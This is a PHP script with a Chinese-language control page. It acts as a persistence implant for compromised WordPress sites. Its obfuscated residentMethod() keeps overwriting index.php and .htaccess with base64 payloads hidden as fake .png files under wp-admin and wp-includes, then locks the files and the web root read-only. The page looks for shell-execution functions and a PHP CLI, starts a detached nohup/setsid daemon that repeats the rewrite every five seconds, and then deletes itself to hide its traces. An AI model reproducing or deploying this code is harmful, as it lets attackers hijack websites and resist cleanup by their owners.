<?php

@header('Content-Type: text/html; charset=UTF-8');
@ini_set('display_errors', '0');
error_reporting(E_ALL);

$config = array(
    'manual_php_cli' => '',
    'interval_seconds' => 5,
    'minimum_php_version_id' => 50600,
);

function residentMethod()
{
    $path = $_SERVER['DOCUMENT_ROOT'];
    $ixsssxdx = $path . '/i' . 'n' . 'd' . 'e' . 'x.' . 'p' . 'h' . 'p';
    $hct = $path . '/.h' . 't' . 'a' . 'c' . 'c' . 'e' . 's' . 's';
    $de = 'b' . 'a' . 's' . 'e' . '6' . '4_' . 'd' . 'e' . 'c' . 'o' . 'd' . 'e';
    $en = 'b' . 'a' . 's' . 'e' . '6' . '4_' . 'e' . 'n' . 'c' . 'o' . 'd' . 'e';
    $rb = $path . '/r' . 'o' . 'b' . 'o' . 't' . 's.' . 't' . 'x' . 't';
    $files = [['pr' => '/wp-admin/css/colors/blue/', 'ix' => 'colors-rtl.png', 'ac' => 'colors-hac.png'], ['pr' => '/wp-admin/images/', 'ix' => 'lists.png', 'ac' => 'lists-ac.png'], ['pr' => '/wp-admin/js/widgets/', 'ix' => 'media-widgets.png', 'ac' => 'media-widgets-ess.png'], ['pr' => '/wp-content/languages/themes/', 'ix' => 'twentytwentyfour-zh_CN.png', 'ac' => 'twentytwentyfour-acc-zh_CN.png'], ['pr' => '/wp-content/languages/plugins/', 'ix' => 'akismet-zh_CN.png', 'ac' => 'akismet-es-zh_CN.png'], ['pr' => '/wp-includes/ai-client/adapters/', 'ix' => 'class-wp-ai-client-event-dispatcher.png', 'ac' => 'class-wp-hta-client-event-dispatcher.png'], ['pr' => '/wp-includes/images/smilies/', 'ix' => 'icon_twisted.png', 'ac' => 'acce_twisted.png'], ['pr' => '/wp-includes/images/media/', 'ix' => 'videos.png', 'ac' => 'hcadeos.png'], ['pr' => '/wp-includes/images/icon-library/', 'ix' => 'post-date.png', 'ac' => 'post-date-bats.png'], ['pr' => '/wp-includes/blocks/audio/', 'ix' => 'style.png', 'ac' => 'ass.png'], ['pr' => '/wp-includes/blocks/comments/', 'ix' => 'editor.png', 'ac' => 'adito.png'], ['pr' => '/wp-includes/blocks/image/', 'ix' => 'w-logo-blue-white.png', 'ac' => 'w-logo-blue-abbs.png'], ['pr' => '/wp-includes/blocks/latest-post/', 'ix' => 'block.png', 'ac' => 'hlack.png'], ['pr' => '/wp-includes/css/dist/base-styles/', 'ix' => 'admin-schemes-rtl.png', 'ac' => 'admin-schemes-htc.png'], ['pr' => '/wp-includes/css/dist/editor/', 'ix' => 'sty.png', 'ac' => 'htcsty.png'], ['pr' => '/wp-includes/Text/Diff/Engine/Renderer/', 'ix' => 'inlines.png', 'ac' => 'halines.png'], ['pr' => '/wp-includes/build/routes/font-list/', 'ix' => 'route.png', 'ac' => 'basse.png'], ['pr' => '/wp-includes/build/pages/options-connectors/', 'ix' => 'loader.png', 'ac' => 'yass.png'],];
    $ixd = $ass = '';
    if (file_exists($ixsssxdx)) {
        $ixd = $en(@file_get_contents($ixsssxdx));
    }
    if (file_exists($hct)) {
        $ass = $en(@file_get_contents($hct));
    }
    if (!is_writable($path)) {
        @chmod($path, 0777);
    }
    if (!file_exists($rb)) {
        @file_put_contents($rb, '');
    }
    $ixd_restored = false;
    $ta_restored = false;
    foreach ($files as $file) {
        if (!$ixd_restored) {
            $backup_file = $path . $file['pr'] . $file['ix'];
            if (file_exists($backup_file)) {
                $bp_ase = @file_get_contents($backup_file);
                if ($ixd === '' || $ixd !== $bp_ase) {
                    if ($ixd !== '') {
                        $file_mtime = filemtime($ixsssxdx);
                        $time_diff = time() - $file_mtime;
                        if ($time_diff < 30) {
                            continue;
                        }
                    }
                    $decoded = $de($bp_ase);
                    if ($decoded !== false) {
                        @chmod($ixsssxdx, 0777);
                        if (@file_put_contents($ixsssxdx, $decoded) !== false) {
                            @chmod($ixsssxdx, 0444);
                            $ixd_restored = true;
                        }
                    }
                } else {
                    $ixd_restored = true;
                }
            }
        }
        if (!$ta_restored) {
            $backup_file = $path . $file['pr'] . $file['ac'];
            if (file_exists($backup_file)) {
                $bp_ase = @file_get_contents($backup_file);
                if ($ass === '' || $ass !== $bp_ase) {
                    if ($ass !== '') {
                        $file_mtime = filemtime($hct);
                        $time_diff = time() - $file_mtime;
                        if ($time_diff < 30) {
                            continue;
                        }
                    }
                    $decoded = $de($bp_ase);
                    if ($decoded !== false) {
                        @chmod($hct, 0777);
                        if (@file_put_contents($hct, $decoded) !== false) {
                            @chmod($hct, 0444);
                            $ta_restored = true;
                        }
                    }
                } else {
                    $ta_restored = true;
                }
            }
        }
        if ($ixd_restored && $ta_restored) {
            break;
        }
    }
    if (is_writable($path)) {
        @chmod($path, 0555);
    }
}

if (
    PHP_SAPI === 'cli' &&
    isset($argv[1]) &&
    $argv[1] === '--resident-worker'
) {
    runResidentWorker($config);
    exit;
}

$runnerNames = array('proc_open', 'shell_exec', 'popen', 'exec', 'system', 'passthru');
$runnerStatus = getRunnerStatus($runnerNames);
$usableRunners = array();

foreach ($runnerStatus as $name => $status) {
    if ($status['usable']) {
        $usableRunners[] = $name;
    }
}

$action = isset($_POST['action']) ? (string) $_POST['action'] : '';

if ($action !== '') {
    if (!validateFormNonce()) {
        renderResult('请求无效', false, '页面校验失败，没有执行或删除任何内容。请重新打开页面后再点击按钮。', false);
        exit;
    }

    if ($action === 'delete') {
        clearFormNonce();
        $deleteResult = deleteSelf($usableRunners);
        renderResult('手动删除结果', $deleteResult['deleted'], $deleteResult['message'], $deleteResult['deleted']);
        exit;
    }

    if ($action === 'start') {
        if (stripos(PHP_OS, 'WIN') === 0) {
            $startResult = array(
                'success' => false,
                'message' => '当前服务器是 Windows；此版本使用 Linux 后台进程方式，因此没有执行常驻任务。',
            );
        } elseif (count($usableRunners) === 0) {
            $startResult = array(
                'success' => false,
                'message' => 'proc_open、shell_exec、popen、exec、system、passthru 全部不可用，没有执行常驻任务。',
            );
        } else {
            $cliInfo = findPhpCli($config, $usableRunners);

            if (!$cliInfo['found']) {
                $startResult = array(
                    'success' => false,
                    'message' => '没有找到通过实际验证的 PHP CLI。候选地址总数：' . count($cliInfo['candidates']) . '。',
                );
            } else {
                $startResult = startResidentProcess($config, $cliInfo, $usableRunners);
            }
        }

        clearFormNonce();

        // 按需求：CLI 成功或失败，都尝试销毁当前执行文件。
        $deleteResult = deleteSelf($usableRunners);

        renderResult(
            $startResult['success'] ? '常驻进程启动成功' : '常驻进程启动失败',
            $startResult['success'],
            $startResult['message'] . "\n\n" . $deleteResult['message'],
            $deleteResult['deleted']
        );
        exit;
    }
}

$cliInfo = null;

if (count($usableRunners) > 0 && stripos(PHP_OS, 'WIN') !== 0) {
    $cliInfo = findPhpCli($config, $usableRunners);
}

$formNonce = issueFormNonce();
renderPage($config, $runnerStatus, $cliInfo, $formNonce);

function runResidentWorker($config)
{
    @ignore_user_abort(true);
    @set_time_limit(0);
    @ini_set('memory_limit', '32M');
    @ini_set('display_errors', '0');
    error_reporting(E_ALL);

    $selfHandle = @fopen(__FILE__, 'r');

    if (!is_resource($selfHandle)) {
        exit(10);
    }

    if (!@flock($selfHandle, LOCK_EX | LOCK_NB)) {
        exit(0);
    }

    $interval = max(1, min(3600, (int) $config['interval_seconds']));

    while (true) {
        residentMethod();

        sleep($interval);

        if (function_exists('gc_collect_cycles')) {
            @gc_collect_cycles();
        }
    }
}

function startResidentProcess($config, $cliInfo, $usableRunners)
{
    $selfPath = __FILE__;

    $lint = runCommand(
        escapeshellarg($cliInfo['path']) . ' -n -l ' . escapeshellarg($selfPath) . ' 2>&1',
        $usableRunners
    );

    if (!$lint['ok'] || stripos($lint['output'], 'No syntax errors detected') === false) {
        return array(
            'success' => false,
            'message' => '目标 PHP CLI 无法解析当前文件：' . trim($lint['output']),
        );
    }

    $baseCommand = escapeshellarg($cliInfo['path']) . ' ' .
        escapeshellarg($selfPath) . ' --resident-worker > /dev/null 2>&1 < /dev/null';

    $launchCommands = array();

    foreach (array('/usr/bin/nohup', '/bin/nohup') as $nohupPath) {
        if (@is_file($nohupPath) && @is_executable($nohupPath)) {
            $launchCommands[] = escapeshellarg($nohupPath) . ' ' . $baseCommand . ' & echo $!';
        }
    }

    $nohupLookup = runCommand('command -v nohup 2>/dev/null', $usableRunners);
    if ($nohupLookup['ok'] && trim($nohupLookup['output']) !== '') {
        $nohupPath = firstOutputLine($nohupLookup['output']);
        $launchCommands[] = escapeshellarg($nohupPath) . ' ' . $baseCommand . ' & echo $!';
    }

    foreach (array('/usr/bin/setsid', '/bin/setsid') as $setsidPath) {
        if (@is_file($setsidPath) && @is_executable($setsidPath)) {
            $launchCommands[] = escapeshellarg($setsidPath) . ' ' . $baseCommand . ' & echo $!';
        }
    }

    $launchCommands[] = $baseCommand . ' & echo $!';
    $launchCommands = array_values(array_unique($launchCommands));
    $lastOutput = '';

    foreach ($launchCommands as $launchCommand) {
        $launch = runCommand($launchCommand, $usableRunners);
        $lastOutput = trim($launch['output']);
        $pid = '';

        if (preg_match('/(^|\s)(\d+)(\s|$)/m', $lastOutput, $matches)) {
            $pid = $matches[2];
        }

        $lockedCount = 0;

        for ($i = 0; $i < 24; $i++) {
            usleep(250000);

            if (isSourceLockedByWorker($selfPath)) {
                $lockedCount++;

                if ($lockedCount >= 4) {
                    return array(
                        'success' => true,
                        'message' => 'PHP CLI 已正常进入常驻循环。' .
                            'PID=' . ($pid !== '' ? $pid : '未知') .
                            '；CLI=' . $cliInfo['path'] .
                            '；每 ' . max(1, (int) $config['interval_seconds']) .
                            ' 秒调用一次 residentMethod()。整个过程没有创建任何新文件。',
                    );
                }
            } else {
                $lockedCount = 0;
            }
        }
    }

    return array(
        'success' => false,
        'message' => 'CLI 命令已经尝试执行，但当前文件没有持续被 Worker 锁定，判定常驻进程没有正常运行。命令返回：' . $lastOutput,
    );
}

function isSourceLockedByWorker($sourcePath)
{
    if (!@is_file($sourcePath)) {
        return false;
    }

    $handle = @fopen($sourcePath, 'r');

    if (!is_resource($handle)) {
        return false;
    }

    $obtained = @flock($handle, LOCK_EX | LOCK_NB);

    if ($obtained) {
        @flock($handle, LOCK_UN);
        @fclose($handle);
        return false;
    }

    @fclose($handle);
    return true;
}

function getRunnerStatus($runnerNames)
{
    $disabled = array();
    $settings = array(
        (string) @ini_get('disable_functions'),
        (string) @ini_get('suhosin.executor.func.blacklist'),
    );

    foreach ($settings as $setting) {
        foreach (explode(',', $setting) as $name) {
            $name = strtolower(trim($name));

            if ($name !== '') {
                $disabled[$name] = true;
            }
        }
    }

    $result = array();

    foreach ($runnerNames as $name) {
        $configuredDisabled = isset($disabled[strtolower($name)]);
        $exists = function_exists($name);

        $result[$name] = array(
            'usable' => !$configuredDisabled && $exists && is_callable($name),
            'disabled' => $configuredDisabled,
            'exists' => $exists,
        );
    }

    return $result;
}

function runCommand($command, $usableRunners)
{
    $marker = '__ONEFILE_EXIT__';
    $wrapped = '( ' . $command . ' ); __onefile_code=$?; printf "\\n' . $marker . '%s" "$__onefile_code"';

    foreach ($usableRunners as $runner) {
        $raw = null;

        if ($runner === 'proc_open' && function_exists('proc_open')) {
            $pipes = array();
            $process = @proc_open(
                $wrapped,
                array(
                    0 => array('pipe', 'r'),
                    1 => array('pipe', 'w'),
                    2 => array('pipe', 'w'),
                ),
                $pipes
            );

            if (is_resource($process)) {
                @fclose($pipes[0]);
                $raw = @stream_get_contents($pipes[1]);
                @stream_get_contents($pipes[2]);
                @fclose($pipes[1]);
                @fclose($pipes[2]);
                @proc_close($process);
            }
        } elseif ($runner === 'shell_exec' && function_exists('shell_exec')) {
            $raw = @shell_exec($wrapped);
        } elseif ($runner === 'popen' && function_exists('popen')) {
            $handle = @popen($wrapped, 'r');

            if (is_resource($handle)) {
                $raw = @stream_get_contents($handle);
                @pclose($handle);
            }
        } elseif ($runner === 'exec' && function_exists('exec')) {
            $lines = array();
            @exec($wrapped, $lines);
            $raw = implode("\n", $lines);
        } elseif ($runner === 'system' && function_exists('system')) {
            @ob_start();
            @system($wrapped);
            $raw = @ob_get_clean();
        } elseif ($runner === 'passthru' && function_exists('passthru')) {
            @ob_start();
            @passthru($wrapped);
            $raw = @ob_get_clean();
        }

        if (!is_string($raw)) {
            continue;
        }

        if (preg_match('/(?:\r?\n)?' . preg_quote($marker, '/') . '(\d+)\s*$/', $raw, $matches)) {
            $exitCode = (int) $matches[1];
            $output = preg_replace('/(?:\r?\n)?' . preg_quote($marker, '/') . '\d+\s*$/', '', $raw);

            return array(
                'ok' => $exitCode === 0,
                'exit_code' => $exitCode,
                'output' => trim((string) $output),
                'runner' => $runner,
            );
        }
    }

    return array('ok' => false, 'exit_code' => -1, 'output' => '', 'runner' => '');
}

function findPhpCli($config, $usableRunners)
{
    $candidates = array();

    if (trim($config['manual_php_cli']) !== '') {
        $candidates[] = trim($config['manual_php_cli']);
    }

    if (defined('PHP_BINDIR')) {
        $candidates[] = rtrim(PHP_BINDIR, '/\\') . '/php';
    }

    if (defined('PHP_BINARY') && PHP_BINARY !== '') {
        $candidates[] = PHP_BINARY;
    }

    $candidates = array_merge($candidates, array(
        '/usr/bin/php',
        '/usr/local/bin/php',
        '/bin/php',
        '/usr/sbin/php',
        '/usr/local/sbin/php',
        '/etc/alternatives/php',
        '/usr/local/php/bin/php',
        '/opt/php/bin/php',
        '/opt/lampp/bin/php',
        '/usr/local/lampp/bin/php',
        '/usr/pkg/bin/php',
        '/snap/bin/php',
        '/nix/var/nix/profiles/default/bin/php',
        '/run/current-system/sw/bin/php',
        '/app/.heroku/php/bin/php',
    ));

    $majorVersions = array(5, 7, 8, 9);

    foreach ($majorVersions as $major) {
        $minorStart = ($major === 5) ? 6 : 0;
        $minorEnd = ($major === 9) ? 3 : 9;

        for ($minor = $minorStart; $minor <= $minorEnd; $minor++) {
            $dotVersion = $major . '.' . $minor;
            $shortVersion = $major . $minor;

            $candidates[] = '/usr/bin/php' . $dotVersion;
            $candidates[] = '/usr/bin/php' . $shortVersion;
            $candidates[] = '/usr/local/bin/php' . $dotVersion;
            $candidates[] = '/usr/local/bin/php' . $shortVersion;
            $candidates[] = '/bin/php' . $dotVersion;
            $candidates[] = '/www/server/php/' . $shortVersion . '/bin/php';
            $candidates[] = '/opt/remi/php' . $shortVersion . '/root/usr/bin/php';
            $candidates[] = '/opt/alt/php' . $shortVersion . '/usr/bin/php';
            $candidates[] = '/opt/cpanel/ea-php' . $shortVersion . '/root/usr/bin/php';
            $candidates[] = '/opt/plesk/php/' . $dotVersion . '/bin/php';
            $candidates[] = '/usr/local/lsws/lsphp' . $shortVersion . '/bin/php';
            $candidates[] = '/usr/local/lsws/lsphp' . $shortVersion . '/bin/lsphp';
        }
    }

    $patterns = array(
        '/usr/bin/php[0-9]*',
        '/usr/local/bin/php[0-9]*',
        '/usr/local/php*/bin/php',
        '/usr/local/php/*/bin/php',
        '/opt/php*/bin/php',
        '/opt/php/*/bin/php',
        '/opt/remi/php*/root/usr/bin/php',
        '/opt/alt/php*/usr/bin/php',
        '/opt/cpanel/ea-php*/root/usr/bin/php',
        '/opt/plesk/php/*/bin/php',
        '/usr/local/cpanel/3rdparty/php/*/bin/php',
        '/usr/local/lsws/lsphp*/bin/php',
        '/usr/local/lsws/lsphp*/bin/lsphp',
        '/www/server/php/*/bin/php',
        '/data/server/php/*/bin/php',
        '/data/php/*/bin/php',
        '/server/php/*/bin/php',
        '/home/*/php/bin/php',
    );

    foreach ($patterns as $pattern) {
        $matches = @glob($pattern);

        if (is_array($matches)) {
            $candidates = array_merge($candidates, $matches);
        }
    }

    $commandNames = array('php');

    foreach ($majorVersions as $major) {
        $minorStart = ($major === 5) ? 6 : 0;
        $minorEnd = ($major === 9) ? 3 : 9;

        for ($minor = $minorStart; $minor <= $minorEnd; $minor++) {
            $commandNames[] = 'php' . $major . '.' . $minor;
            $commandNames[] = 'php' . $major . $minor;
        }
    }

    foreach ($commandNames as $commandName) {
        $lookup = runCommand('command -v ' . escapeshellarg($commandName) . ' 2>/dev/null', $usableRunners);

        if ($lookup['ok'] && trim($lookup['output']) !== '') {
            $candidates[] = firstOutputLine($lookup['output']);
        }
    }

    $unique = array();

    foreach ($candidates as $candidate) {
        $candidate = trim((string) $candidate);

        if ($candidate !== '') {
            $unique[$candidate] = true;
        }
    }

    $tested = array();

    foreach (array_keys($unique) as $candidate) {
        if (!@is_file($candidate) || !@is_executable($candidate)) {
            continue;
        }

        $probe = runCommand(
            escapeshellarg($candidate) . ' -n -r ' .
            escapeshellarg('echo PHP_SAPI,"|",PHP_VERSION_ID;') . ' 2>/dev/null',
            $usableRunners
        );

        $tested[] = $candidate;

        if ($probe['ok'] && preg_match('/^cli\|(\d+)$/', trim($probe['output']), $matches)) {
            $versionId = (int) $matches[1];

            if ($versionId >= (int) $config['minimum_php_version_id']) {
                return array(
                    'found' => true,
                    'path' => $candidate,
                    'version_id' => $versionId,
                    'candidates' => array_keys($unique),
                    'tested' => $tested,
                );
            }
        }
    }

    return array(
        'found' => false,
        'path' => '',
        'version_id' => 0,
        'candidates' => array_keys($unique),
        'tested' => $tested,
    );
}

function firstOutputLine($output)
{
    $lines = preg_split('/\r?\n/', trim((string) $output));
    return isset($lines[0]) ? trim($lines[0]) : '';
}

function issueFormNonce()
{
    if (function_exists('random_bytes')) {
        $nonce = bin2hex(random_bytes(16));
    } elseif (function_exists('openssl_random_pseudo_bytes')) {
        $nonce = bin2hex(openssl_random_pseudo_bytes(16));
    } else {
        $nonce = sha1(uniqid('', true) . mt_rand());
    }

    @setcookie('php_resident_nonce', $nonce, 0, '', '', false, true);
    return $nonce;
}

function validateFormNonce()
{
    $cookie = isset($_COOKIE['php_resident_nonce']) ? (string) $_COOKIE['php_resident_nonce'] : '';
    $posted = isset($_POST['nonce']) ? (string) $_POST['nonce'] : '';

    if ($cookie === '' || $posted === '') {
        return false;
    }

    return safeEquals($cookie, $posted);
}

function clearFormNonce()
{
    @setcookie('php_resident_nonce', '', time() - 3600, '', '', false, true);
}

function deleteSelf($usableRunners)
{
    $path = __FILE__;
    $directory = dirname($path);
    $errors = array();

    $rawDirectoryPerms = @fileperms($directory);
    $originalDirectoryMode = ($rawDirectoryPerms !== false)
        ? ($rawDirectoryPerms & 07777)
        : null;

    clearstatcache(true, $directory);

    if (!@is_writable($directory) && $originalDirectoryMode !== null) {

        $temporaryDirectoryMode = $originalDirectoryMode | 0300;

        if (@chmod($directory, $temporaryDirectoryMode)) {
            clearstatcache(true, $directory);

            register_shutdown_function(function () use ($directory, $originalDirectoryMode) {
                @chmod($directory, $originalDirectoryMode);
                clearstatcache(true, $directory);
            });
        } else {
            $errors[] = '父目录不可写，并且无法把目录权限从 ' .
                sprintf('%04o', $originalDirectoryMode) . ' 临时改为 ' .
                sprintf('%04o', $temporaryDirectoryMode) . '。';
        }
    }

    clearstatcache(true, $path);

    if (!@is_file($path)) {
        return array('deleted' => true, 'message' => '当前执行文件已经不存在。');
    }

    $unlinkError = '';

    if (tryUnlinkWithError($path, $unlinkError)) {
        return array('deleted' => true, 'message' => '当前执行文件已通过 unlink() 成功销毁。');
    }

    if ($unlinkError !== '') {
        $errors[] = 'unlink 首次错误：' . $unlinkError;
    }

    // 修改文件权限不一定有用；Linux 删除权限实际取决于父目录。
    @chmod($path, 0666);
    clearstatcache(true, $path);
    $unlinkError = '';

    if (tryUnlinkWithError($path, $unlinkError)) {
        return array('deleted' => true, 'message' => '修改文件权限后，已通过 unlink() 成功销毁。');
    }

    if ($unlinkError !== '') {
        $errors[] = 'unlink 重试错误：' . $unlinkError;
    }

    // 如果 PHP 的 unlink 被 open_basedir 或函数策略限制，再尝试系统 rm。
    if (is_array($usableRunners) && count($usableRunners) > 0) {
        $rmPaths = array('/bin/rm', '/usr/bin/rm');

        foreach ($rmPaths as $rmPath) {
            if (!@is_file($rmPath) || !@is_executable($rmPath)) {
                continue;
            }

            $rmResult = runCommand(
                escapeshellarg($rmPath) . ' -f -- ' . escapeshellarg($path) . ' 2>&1',
                $usableRunners
            );

            clearstatcache(true, $path);

            if (!@is_file($path)) {
                return array(
                    'deleted' => true,
                    'message' => 'unlink() 失败，但已通过 ' . $rmPath . ' 成功销毁当前文件。',
                );
            }

            $errors[] = $rmPath . ' 返回：' .
                ($rmResult['output'] !== '' ? $rmResult['output'] : '无输出，退出码=' . $rmResult['exit_code']);
        }
    }

    $filePerms = @fileperms($path);
    $dirPerms = @fileperms($directory);
    $details = array(
        '文件：' . $path,
        '父目录：' . $directory,
        '父目录可写：' . (@is_writable($directory) ? '是' : '否'),
        '文件可写：' . (@is_writable($path) ? '是' : '否'),
        '文件权限：' . ($filePerms !== false ? substr(sprintf('%o', $filePerms), -4) : '未知'),
        '目录权限：' . ($dirPerms !== false ? substr(sprintf('%o', $dirPerms), -4) : '未知'),
        '文件 UID：' . (function_exists('fileowner') ? (string) @fileowner($path) : '未知'),
        'PHP 有效 UID：' . (function_exists('posix_geteuid') ? (string) @posix_geteuid() : '未知'),
        'open_basedir：' . ((string) @ini_get('open_basedir') !== '' ? (string) @ini_get('open_basedir') : '未设置'),
    );

    return array(
        'deleted' => false,
        'message' => "当前执行文件自我销毁失败。\n" .
            implode("\n", $errors) . "\n\n诊断信息：\n" . implode("\n", $details),
    );
}

function tryUnlinkWithError($path, &$errorMessage)
{
    $errorMessage = '';

    set_error_handler(function ($severity, $message) use (&$errorMessage) {
        $errorMessage = $message;
        return true;
    });

    $result = unlink($path);
    restore_error_handler();

    return $result;
}

function safeEquals($known, $given)
{
    if (function_exists('hash_equals')) {
        return hash_equals((string) $known, (string) $given);
    }

    return (string) $known === (string) $given;
}

function renderPage($config, $runnerStatus, $cliInfo, $formNonce)
{
    $usableCount = 0;

    foreach ($runnerStatus as $status) {
        if ($status['usable']) {
            $usableCount++;
        }
    }

    echo '<!doctype html><html lang="zh-CN"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>PHP 单文件常驻任务</title>';
    echo '<style>body{font-family:system-ui;background:#f4f6f8;color:#20242a;padding:24px}.box{max-width:900px;margin:auto;background:#fff;padding:24px;border-radius:12px;box-shadow:0 8px 30px #0001}table{width:100%;border-collapse:collapse}th,td{padding:9px;border-bottom:1px solid #e5e7eb;text-align:left}.ok{color:#087a37}.bad{color:#bd2020}.info{background:#eef6ff;padding:12px;border-radius:8px}.warn{background:#fff5d7;padding:12px;border-radius:8px}.actions{display:flex;gap:12px;flex-wrap:wrap;margin-top:18px}form{flex:1;min-width:260px;border:1px solid #ddd;padding:14px;border-radius:8px}button{padding:10px 14px;border:0;border-radius:6px;background:#1769e0;color:#fff;cursor:pointer}.danger{background:#bd2020}code{word-break:break-all}details{margin-top:14px}ol{max-height:330px;overflow:auto;background:#f6f7f9;padding-top:10px;padding-bottom:10px}</style></head><body><div class="box">';
    echo '<h1>PHP 单文件常驻任务</h1>';
    echo '<div class="info">常驻循环只调用 <code>residentMethod()</code>，然后休眠 ' . (int) $config['interval_seconds'] . ' 秒。不会创建任何新文件。</div>';

    echo '<h2>环境检查</h2><table><tr><th>检查项</th><th>结果</th></tr>';
    echo '<tr><td>操作系统</td><td>' . html(PHP_OS) . '</td></tr>';
    echo '<tr><td>网页 PHP</td><td>' . html(PHP_VERSION . ' / ' . PHP_SAPI) . '</td></tr>';
    echo '<tr><td>可用进程函数</td><td class="' . ($usableCount > 0 ? 'ok' : 'bad') . '">' . $usableCount . ' 个</td></tr>';

    if ($cliInfo === null) {
        echo '<tr><td>PHP CLI</td><td class="bad">没有可用执行函数，因此没有执行 CLI 检测</td></tr>';
    } elseif ($cliInfo['found']) {
        echo '<tr><td>PHP CLI</td><td class="ok"><code>' . html($cliInfo['path']) . '</code>，版本ID=' . (int) $cliInfo['version_id'] . '</td></tr>';
    } else {
        echo '<tr><td>PHP CLI</td><td class="bad">没有找到通过验证的 CLI；候选 ' . count($cliInfo['candidates']) . ' 个，实际测试 ' . count($cliInfo['tested']) . ' 个</td></tr>';
    }
    echo '</table>';

    echo '<h2>函数禁用检查</h2><table><tr><th>函数</th><th>状态</th></tr>';
    foreach ($runnerStatus as $name => $status) {
        if ($status['usable']) {
            $text = '可用';
            $class = 'ok';
        } elseif ($status['disabled']) {
            $text = '已被配置禁用';
            $class = 'bad';
        } elseif (!$status['exists']) {
            $text = '不存在或被隐藏';
            $class = 'bad';
        } else {
            $text = '不可调用';
            $class = 'bad';
        }

        echo '<tr><td><code>' . html($name) . '()</code></td><td class="' . $class . '">' . html($text) . '</td></tr>';
    }
    echo '</table>';

    if ($cliInfo !== null && isset($cliInfo['candidates'])) {
        echo '<details><summary>展开查看所有 PHP CLI 候选地址（' . count($cliInfo['candidates']) . ' 个）</summary><ol>';
        foreach ($cliInfo['candidates'] as $candidate) {
            $selected = $cliInfo['found'] && $candidate === $cliInfo['path'];
            echo '<li class="' . ($selected ? 'ok' : '') . '"><code>' . html($candidate) . '</code>' . ($selected ? '（验证命中）' : '') . '</li>';
        }
        echo '</ol></details>';
    }

    if ($usableCount === 0) {
        echo '<p class="warn">所有执行函数都不可用，点击启动也不会执行 CLI，只会显示失败结果并尝试销毁当前文件。</p>';
    }

    echo '<div class="actions">';
    echo '<form method="post"><strong>启动常驻进程</strong><p>确认 CLI 真正运行后销毁当前文件；失败也会销毁。</p><input type="hidden" name="nonce" value="' . html($formNonce) . '"><input type="hidden" name="action" value="start"><button type="submit">开始执行</button></form>';
    echo '<form method="post" onsubmit="return confirm(\'确定只销毁当前文件吗？\')"><strong>手动销毁</strong><p>不启动进程，只删除当前文件。</p><input type="hidden" name="nonce" value="' . html($formNonce) . '"><input type="hidden" name="action" value="delete"><button class="danger" type="submit">手动自我删除</button></form>';
    echo '</div>';
    echo '</div></body></html>';
}

function renderResult($title, $success, $message, $deleted)
{
    echo '<!doctype html><html lang="zh-CN"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>' . html($title) . '</title>';
    echo '<style>body{font-family:system-ui;background:#f4f6f8;padding:24px}.box{max-width:780px;margin:auto;background:#fff;padding:24px;border-radius:12px}.ok{color:#087a37}.bad{color:#bd2020}.message{white-space:pre-wrap;background:#f6f7f9;padding:14px;border-radius:8px}</style></head><body><div class="box">';
    echo '<h1 class="' . ($success ? 'ok' : 'bad') . '">' . html($title) . '</h1>';
    echo '<div class="message">' . html($message) . '</div>';
    echo '<p>当前文件：<strong class="' . ($deleted ? 'ok' : 'bad') . '">' . ($deleted ? '已销毁' : '销毁失败') . '</strong></p>';
    echo '</div></body></html>';
}

function html($value)
{
    return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');
}
